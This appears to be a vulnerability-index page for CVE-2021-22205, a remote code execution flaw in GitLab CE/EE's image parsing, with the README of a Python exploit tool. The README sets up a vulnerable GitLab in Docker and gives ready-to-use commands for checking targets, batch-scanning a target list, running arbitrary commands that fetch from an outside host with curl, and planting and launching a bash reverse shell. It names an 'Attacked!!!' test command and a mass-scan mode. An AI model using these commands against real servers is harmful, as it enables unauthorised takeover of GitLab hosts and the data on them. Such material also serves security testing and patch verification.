关联漏洞
标题：
GitLab 代码注入漏洞
(CVE-2021-22205)
描述：GitLab是美国GitLab公司的一个开源的端到端软件开发平台，具有内置的版本控制、问题跟踪、代码审查、CI/CD（持续集成和持续交付）等功能。 Gitlab Community Edition 存在代码注入漏洞，该漏洞源于图像解析器在处理图像文件时输入验证不正确。以下产品及版本受到影响：:Gitlab Community Edition: 11.9.0, 11.9.1, 11.9.2, 11.9.3, 11.9.4, 11.9.5, 11.9.6, 11.9.7, 11.9.8, 11.9.9, 11
描述
CVE-2021-22205& GitLab CE/EE RCE
介绍
### Vuln Impact
An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly validating image files that were passed to a file parser which resulted in a remote command execution.
### Vuln Product
- Gitlab CE/EE < 13.10.3
- Gitlab CE/EE < 13.9.6
- Gitlab CE/EE < 13.8.8
### Environment
```C
export GITLAB_HOME=/srv/gitlab
sudo docker run --detach \
--hostname gitlab.example.com \
--publish 443:443 --publish 80:80 \
--name gitlab \
--restart always \
--volume $GITLAB_HOME/config:/etc/gitlab \
--volume $GITLAB_HOME/logs:/var/log/gitlab \
--volume $GITLAB_HOME/data:/var/opt/gitlab \
gitlab/gitlab-ce:13.9.1-ce.0
```
### Vunl Check
##### Basic usage
```c
python3 CVE-2021-2205.py
```
##### Vuln check
```c
python3 CVE-2021-2205.py -v true -t http://gitlab.example.com
```
##### command execute
```c
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "curl http://192.168.59.1:1234/1.txt"
```
```c
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "echo 'Attacked!!!' > /tmp/1.txt"
```
##### batch scan
```
python3 CVE-2021-2205.py -s true -f target.txt
```
##### Reserve Shell
```
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "echo 'bash -i >& /dev/tcp/ip/port 0>&1' > /tmp/1.sh"
```
```
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "chmod +x /tmp/1.sh"
```
```
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "/bin/bahs /tmp/1.sh"
```
### Reference
https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html
文件快照
[4.0K] /data/pocs/1e5a7a592c6605fe2c9349c6d5bdfaf3e5dce7c6
├── [7.0K] CVE-2021-22205.py
├── [1.7K] README.md
└── [ 26] target.txt
0 directories, 3 files
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